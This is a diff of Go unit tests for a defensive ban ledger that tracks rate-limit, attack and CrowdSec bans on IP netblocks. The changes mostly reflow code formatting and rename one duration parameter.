@@ -27,14 +27,8 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
length := time.Duration(hours) * time.Hour length := time.Duration(hours) * time.Hour
if !ban.Expires.Equal(now.Add(length)) || if !ban.Expires.Equal(now.Add(length)) ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
t.Fatalf( t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
"ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit", i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
i+1,
ban.Expires.Sub(now),
ban.Notes.EarlierBans,
hours,
i,
)
} }
now = ban.Expires now = ban.Expires
@@ -71,27 +65,13 @@ func TestRepeatWindowRunsOut(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit( first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
netblock, second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
midnight(),
bans.Notes{},
)
second, _ := ledger.BanForLimit(
netblock,
first.Expires.Add(tc.gap),
bans.Notes{},
)
if second.Expires.Sub(second.Start) != tc.want || if second.Expires.Sub(second.Start) != tc.want ||
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf( t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
"second ban lasts %s with earlier bans %+v, want %s and 1 for a limit", second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
second.Expires.Sub(
second.Start,
),
second.Notes.EarlierBans,
tc.want,
)
} }
}) })
} }
@@ -101,14 +81,11 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
t.Parallel() t.Parallel()
params := defaultParams() params := defaultParams()
params.LimitBanDuration = params.LimitBanPermanentAbove + time.Hour params.LimitBanDuration = params.MaxBanDuration + time.Hour
ledger := bans.New(params) ledger := bans.New(params)
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
netip.MustParsePrefix("203.0.113.9/32"), bans.Notes{})
midnight(),
bans.Notes{},
)
if !ban.Permanent() { if !ban.Permanent() {
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires) t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
} }
@@ -121,7 +98,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
// hours, is within the maximum, and three times as long would not fit // hours, is within the maximum, and three times as long would not fit
// in a time.Duration. The 15th is permanent. // in a time.Duration. The 15th is permanent.
params := defaultParams() params := defaultParams()
params.LimitBanPermanentAbove = 100000 * day params.MaxBanDuration = 100000 * day
ledger := bans.New(params) ledger := bans.New(params)
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
now := midnight() now := midnight()
@@ -129,12 +106,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
for i := range 14 { for i := range 14 {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Expires.After(ban.Start) { if !ban.Expires.After(ban.Start) {
t.Fatalf( t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
"ban %d starts at %s and ends at %s",
i+1,
ban.Start,
ban.Expires,
)
} }
now = ban.Expires now = ban.Expires
@@ -157,36 +129,17 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
t.Error("the first ban was not made") t.Error("the first ban was not made")
} }
again, made := ledger.BanForLimit( again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
if made || !reflect.DeepEqual(again, first) || if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
len(ledger.Bans(netblock)) != 1 { t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
t.Errorf( "want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
"a limit broken during a ban gave %+v, made %t, and %d bans, "+
"want %+v, not made, and 1",
again,
made,
len(ledger.Bans(netblock)),
first,
)
} }
again, made = ledger.BanForAttack( again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
if made || !reflect.DeepEqual(again, first) { if made || !reflect.DeepEqual(again, first) {
t.Errorf( t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
"an attack during a ban gave %+v, made %t, want %+v, not made", again, made, first)
again,
made,
first,
)
} }
} }
@@ -195,26 +148,16 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
netblock,
midnight(),
bans.Notes{Requests: 5},
)
for range 3 { for range 3 {
got, banned, _ := ledger.Check( got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
netblock.Addr(),
ban.Expires.Add(-time.Nanosecond),
)
if !banned || got.Start != ban.Start { if !banned || got.Start != ban.Start {
t.Fatalf("check during the ban gives %+v and %t", got, banned) t.Fatalf("check during the ban gives %+v and %t", got, banned)
} }
} }
_, banned, _ := ledger.Check( _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
netip.MustParseAddr("203.0.113.10"),
midnight(),
)
if banned { if banned {
t.Error("another netblock is banned") t.Error("another netblock is banned")
} }
@@ -237,23 +180,11 @@ func TestFindCountsNothing(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
netblock,
midnight(),
bans.Notes{Requests: 5},
)
got, banned, _ := ledger.Find( got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
netblock.Addr(),
ban.Expires.Add(-time.Nanosecond),
)
if !banned || !reflect.DeepEqual(got, ban) { if !banned || !reflect.DeepEqual(got, ban) {
t.Errorf( t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
"find during the ban gives %+v and %t, want %+v",
got,
banned,
ban,
)
} }
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires) _, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
@@ -261,21 +192,12 @@ func TestFindCountsNothing(t *testing.T) {
t.Error("the ban did not end") t.Error("the ban did not end")
} }
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual( if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
notes, t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
ban.Notes,
) {
t.Errorf(
"the notes are %+v, want them unchanged, %+v",
notes,
ban.Notes,
)
} }
} }
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo( func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
params := defaultParams() params := defaultParams()
@@ -308,10 +230,7 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1}) wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
if !ledger.Bans(a)[0].Start.Equal(first.Expires) { if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
t.Errorf( t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
"a kept its ban of %s, want the later one",
ledger.Bans(a)[0].Start,
)
} }
} }
@@ -344,70 +263,41 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
notes := bans.Notes{RuleID: "env-file", Target: "path"} notes := bans.Notes{RuleID: "env-file", Target: "path"}
ban, _ := ledger.BanForAttack(netblock, midnight(), notes) ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
if !ban.Expires.Equal(midnight().Add(7*day)) || if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
ban.Cause != bans.CauseAttack || ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
ban.Notes.RuleID != "env-file" ||
ledger.Made(bans.CauseAttack) != 1 ||
ledger.Made(bans.CauseLimit) != 0 { ledger.Made(bans.CauseLimit) != 0 {
t.Fatalf( t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
"the ban is %+v, with %d made for an attack and %d for a limit, "+ "want one for an attack, of seven days", ban,
"want one for an attack, of seven days", ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
ban,
ledger.Made(bans.CauseAttack),
ledger.Made(bans.CauseLimit),
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// In observe mode the ban refuses nothing, and stays as it is, while // In observe mode the ban refuses nothing, and stays as it is, while
// Find tells that the request would have made it permanent. // Find tells that the request would have made it permanent.
got, _, wouldMakePermanent := ledger.Find( got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
netblock.Addr(), if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
midnight().Add(time.Hour), t.Fatalf("a request found under the ban left it %+v, would have made it "+
) "permanent %t, want it as it was, and true", got, wouldMakePermanent)
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() ||
!wouldMakePermanent {
t.Fatalf(
"a request found under the ban left it %+v, would have made it "+
"permanent %t, want it as it was, and true",
got,
wouldMakePermanent,
)
} }
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
// A request it refuses makes it permanent, says so, and makes // A request it refuses makes it permanent, says so, and makes
// bans.json due. // bans.json due.
got, _, madePermanent := ledger.Check( got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
netblock.Addr(), if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
midnight().Add(time.Hour), t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
) "want it made permanent", got, madePermanent)
if !madePermanent || !got.Permanent() ||
!ledger.Bans(netblock)[0].Permanent() {
t.Fatalf(
"after a request during the ban, it is %+v, made permanent %t, "+
"want it made permanent",
got,
madePermanent,
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// The next request finds it permanent already. // The next request finds it permanent already.
_, banned, madePermanent := ledger.Check( _, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
netblock.Addr(),
midnight().Add(100*365*day),
)
if !banned || madePermanent { if !banned || madePermanent {
t.Errorf( t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
"a later request is banned %t, and made the ban permanent %t, "+ "want banned by the permanent ban", banned, madePermanent)
"want banned by the permanent ban",
banned,
madePermanent,
)
} }
} }
@@ -435,11 +325,7 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
// Its notes show the earlier ban for an attack that makes it permanent, // Its notes show the earlier ban for an attack that makes it permanent,
// beside the one for a limit. // beside the one for a limit.
third, _ := ledger.BanForAttack( third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
netblock,
second.Expires.Add(30*day),
bans.Notes{},
)
if !third.Permanent() || if !third.Permanent() ||
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) { third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+ t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
@@ -456,18 +342,10 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// While the first ban lasts, none would be made. // While the first ban lasts, none would be made.
during, would := ledger.WouldBanForAttack( during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
netblock,
midnight(),
bans.Notes{},
)
if would || !reflect.DeepEqual(during, first) { if would || !reflect.DeepEqual(during, first) {
t.Errorf( t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
"during the first ban, would ban %t with %+v, want false with %+v", would, during, first)
would,
during,
first,
)
} }
// As it ends, a clear sign of attack would ban for seven days, and a // As it ends, a clear sign of attack would ban for seven days, and a
@@ -475,31 +353,19 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"} limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires, attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
bans.Notes{RuleID: "git-dir"}) bans.Notes{RuleID: "git-dir"})
limit, wouldLimit := ledger.WouldBanForLimit( limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
netblock,
first.Expires,
limitNotes,
)
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) || if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
attack.Reason != "matched the rule git-dir" || !wouldLimit || attack.Reason != "matched the rule git-dir" || !wouldLimit ||
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) || !limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
limit.Reason != "requests per minute over the limit of 1" { limit.Reason != "requests per minute over the limit of 1" {
t.Errorf( t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
"would ban with %+v and %+v, want seven days for the attack and "+ "three hours for the limit", attack, limit)
"three hours for the limit",
attack,
limit,
)
} }
if len(ledger.Bans(netblock)) != 1 || if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
ledger.Made(bans.CauseLimit) != 1 ||
ledger.Made(bans.CauseAttack) != 0 { ledger.Made(bans.CauseAttack) != 0 {
t.Errorf( t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
"the ledger holds %+v, want the first ban alone",
ledger.Bans(netblock),
)
} }
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
@@ -556,8 +422,7 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{}) attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{}) limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour || if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
limit.Cause != bans.CauseLimit {
t.Errorf("the ban for a limit is %+v, want one of an hour", limit) t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
} }
@@ -578,23 +443,15 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long, Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
} }
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
netblock,
midnight(),
bans.Notes{Request: request},
)
cut := long[:256] cut := long[:256]
want := bans.Request{ want := bans.Request{
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut, Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
} }
if ban.Notes.Request != want || if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
ledger.Bans(netblock)[0].Notes.Request != want { t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
t.Errorf(
"the notes keep %+v, want each text cut to 256 bytes",
ban.Notes.Request,
)
} }
} }
@@ -625,23 +482,13 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
{ASN: "AS64496", ASName: "Example Net", Country: "DE"}, {ASN: "AS64496", ASName: "Example Net", Country: "DE"},
} { } {
got := held[i].Notes got := held[i].Notes
if got.ASN != want.ASN || got.ASName != want.ASName || if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
got.Country != want.Country { t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
t.Errorf( got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
"ban %d's notes give %q, %q and %q, want %q, %q and %q",
i+1,
got.ASN,
got.ASName,
got.Country,
want.ASN,
want.ASName,
want.Country,
)
} }
} }
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
notes.Country != "" {
t.Errorf("the ban on %s has %q and %q, want neither", t.Errorf("the ban on %s has %q and %q, want neither",
other, notes.ASN, notes.Country) other, notes.ASN, notes.Country)
} }
@@ -650,11 +497,11 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
// defaultParams are the params at the settings' defaults. // defaultParams are the params at the settings' defaults.
func defaultParams() bans.Params { func defaultParams() bans.Params {
return bans.Params{ return bans.Params{
LimitBanDuration: time.Hour, LimitBanDuration: time.Hour,
LimitBanRepeatWindow: day, LimitBanRepeatWindow: day,
LimitBanPermanentAbove: 7 * day, MaxBanDuration: 7 * day,
AttackBanDuration: 7 * day, AttackBanDuration: 7 * day,
MaxBans: 5000, MaxBans: 5000,
} }
} }
+20 -66
View File
@@ -20,55 +20,29 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
expires := midnight().Add(4 * time.Hour) expires := midnight().Add(4 * time.Hour)
// The ban that would be made is not made. // The ban that would be made is not made.
would, wouldBan := ledger.WouldBanForCrowdSec( would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
netblock, scenario, bans.Notes{})
midnight(),
expires,
scenario,
bans.Notes{},
)
if !wouldBan || len(ledger.Bans(netblock)) != 0 { if !wouldBan || len(ledger.Bans(netblock)) != 0 {
t.Errorf( t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
"would ban %t, and the ledger holds %+v, want true and nothing", wouldBan, ledger.Bans(netblock))
wouldBan,
ledger.Bans(netblock),
)
} }
const reason = "CrowdSec's decision for " + scenario const reason = "CrowdSec's decision for " + scenario
ban, made := ledger.BanForCrowdSec( ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
netblock, bans.Notes{})
midnight(), if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
expires, !ban.Expires.Equal(expires) || ban.Reason != reason ||
scenario,
bans.Notes{},
)
if !made || !reflect.DeepEqual(ban, would) ||
ban.Cause != bans.CauseCrowdSec ||
!ban.Expires.Equal(expires) ||
ban.Reason != reason ||
ledger.Made(bans.CauseCrowdSec) != 1 { ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf( t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
"made %t the ban %+v, want the one that would be made, %+v, for "+ "crowdsec until %s", made, ban, would, expires)
"crowdsec until %s",
made,
ban,
would,
expires,
)
} }
// A second decision on the netblock while the ban lasts makes no other. // A second decision on the netblock while the ban lasts makes no other.
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour), again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
expires.Add(time.Hour), scenario, bans.Notes{}) expires.Add(time.Hour), scenario, bans.Notes{})
if made || !again.Expires.Equal(expires) || if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
ledger.Made(bans.CauseCrowdSec) != 1 { t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
t.Errorf(
"made %t the ban %+v while the first lasts, want none",
made,
again,
)
} }
} }
@@ -78,13 +52,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour) expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec( ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
// A request as the ban ends is refused, and leaves it as it is. // A request as the ban ends is refused, and leaves it as it is.
last := expires.Add(-time.Nanosecond) last := expires.Add(-time.Nanosecond)
@@ -92,13 +60,8 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
held, banned, madePermanent := ledger.Check(netblock.Addr(), last) held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
if !banned || madePermanent || !held.Expires.Equal(expires) || if !banned || madePermanent || !held.Expires.Equal(expires) ||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) { ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
t.Errorf( t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
"as the ban ends, banned %t with %+v, made permanent %t, want "+ "refused under the ban as it was", banned, held, madePermanent)
"refused under the ban as it was",
banned,
held,
madePermanent,
)
} }
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned { if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
@@ -106,9 +69,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
} }
} }
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit( func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
@@ -117,20 +78,13 @@ func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
// Three times the three days would be permanent; a limit broken as the // Three times the three days would be permanent; a limit broken as the
// ban for CrowdSec's decision ends bans for an hour, as a first broken // ban for CrowdSec's decision ends bans for an hour, as a first broken
// limit does. // limit does.
crowdSec, _ := ledger.BanForCrowdSec( crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
netblock, scenario, bans.Notes{})
midnight(),
midnight().Add(3*day),
scenario,
bans.Notes{},
)
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{}) limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour || if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) { limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
t.Errorf( t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
"the ban for a limit is %+v, want one of an hour after one for crowdsec", limit)
limit,
)
} }
} }
+22 -79
View File
@@ -29,16 +29,8 @@ func TestChangedAfterABanIsMade(t *testing.T) {
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
// Two bans before the value is read leave one. // Two bans before the value is read leave one.
ledger.BanForLimit( ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
netip.MustParsePrefix("203.0.113.10/32"), ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
midnight(),
bans.Notes{},
)
ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.11/32"),
midnight(),
bans.Notes{},
)
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
} }
@@ -60,10 +52,7 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
got := make([]string, 0, len(snapshot)) got := make([]string, 0, len(snapshot))
for _, ban := range snapshot { for _, ban := range snapshot {
got = append( got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
got,
ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen),
)
} }
want := []string{ want := []string{
@@ -88,10 +77,7 @@ func TestLoadedBansCarryOn(t *testing.T) {
after := bans.New(defaultParams()) after := bans.New(defaultParams())
after.Load(before.Snapshot()) after.Load(before.Snapshot())
_, banned, _ := after.Check( _, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
netblock.Addr(),
ban.Expires.Add(-time.Second),
)
if !banned { if !banned {
t.Error("the loaded ban does not refuse") t.Error("the loaded ban does not refuse")
} }
@@ -99,11 +85,8 @@ func TestLoadedBansCarryOn(t *testing.T) {
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{}) again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
if again.Expires.Sub(again.Start) != 3*time.Hour || if again.Expires.Sub(again.Start) != 3*time.Hour ||
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf( t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
"the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit", again.Expires.Sub(again.Start), again.Notes.EarlierBans)
again.Expires.Sub(again.Start),
again.Notes.EarlierBans,
)
} }
} }
@@ -115,20 +98,10 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
// ban covers, beside a ban the ledger makes on one IPv4 address. // ban covers, beside a ban the ledger makes on one IPv4 address.
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
{ {Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
Netblock: netip.MustParsePrefix("203.0.113.9/24"), {Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
Start: midnight(),
},
{
Netblock: netip.MustParsePrefix("2001:db8::1/48"),
Start: midnight(),
},
}) })
ledger.BanForLimit( ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
netip.MustParsePrefix("198.51.100.7/32"),
midnight(),
bans.Notes{},
)
for client, want := range map[string]bool{ for client, want := range map[string]bool{
"203.0.113.0": true, "203.0.113.0": true,
@@ -165,10 +138,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
// As when an admin adds a permanent ban to bans.json with a start // As when an admin adds a permanent ban to bans.json with a start
// before that of the netblock's ban that has ended. // before that of the netblock's ban that has ended.
netblock := netip.MustParsePrefix("203.0.113.0/24") netblock := netip.MustParsePrefix("203.0.113.0/24")
permanent := bans.Ban{ permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
Netblock: netblock,
Start: midnight().Add(-time.Hour),
}
ended := bans.Ban{ ended := bans.Ban{
Netblock: netblock, Netblock: netblock,
Start: midnight(), Start: midnight(),
@@ -183,31 +153,20 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
ban, banned, _ := ledger.Find(client, now) ban, banned, _ := ledger.Find(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf( t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
"find gives %+v and %t, want the permanent ban",
ban,
banned,
)
} }
ban, banned, _ = ledger.Check(client, now) ban, banned, _ = ledger.Check(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf( t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
"the client is refused: %t, under %+v, want under the permanent ban", banned, ban)
banned,
ban,
)
} }
// A limit broken now makes no shorter ban over the permanent one. // A limit broken now makes no shorter ban over the permanent one.
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 { if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
t.Errorf( t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
"a broken limit returned %+v and left the netblock %d bans, "+ "want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
"want the permanent ban and 2",
ban,
len(ledger.Bans(netblock)),
)
} }
} }
@@ -236,11 +195,7 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
// Once both have ended, a limit broken within the repeat window bans // Once both have ended, a limit broken within the repeat window bans
// for three times the 9 hours, and the notes count the two bans // for three times the 9 hours, and the notes count the two bans
// before the 9-hour one and it, for a limit, and the admin's. // before the 9-hour one and it, for a limit, and the admin's.
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
netblock,
nineHours.Expires.Add(time.Hour),
bans.Notes{},
)
if ban.Expires.Sub(ban.Start) != 27*time.Hour || if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
t.Errorf("the next ban lasts %s with earlier bans %+v, "+ t.Errorf("the next ban lasts %s with earlier bans %+v, "+
@@ -271,10 +226,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
held := ledger.Snapshot() held := ledger.Snapshot()
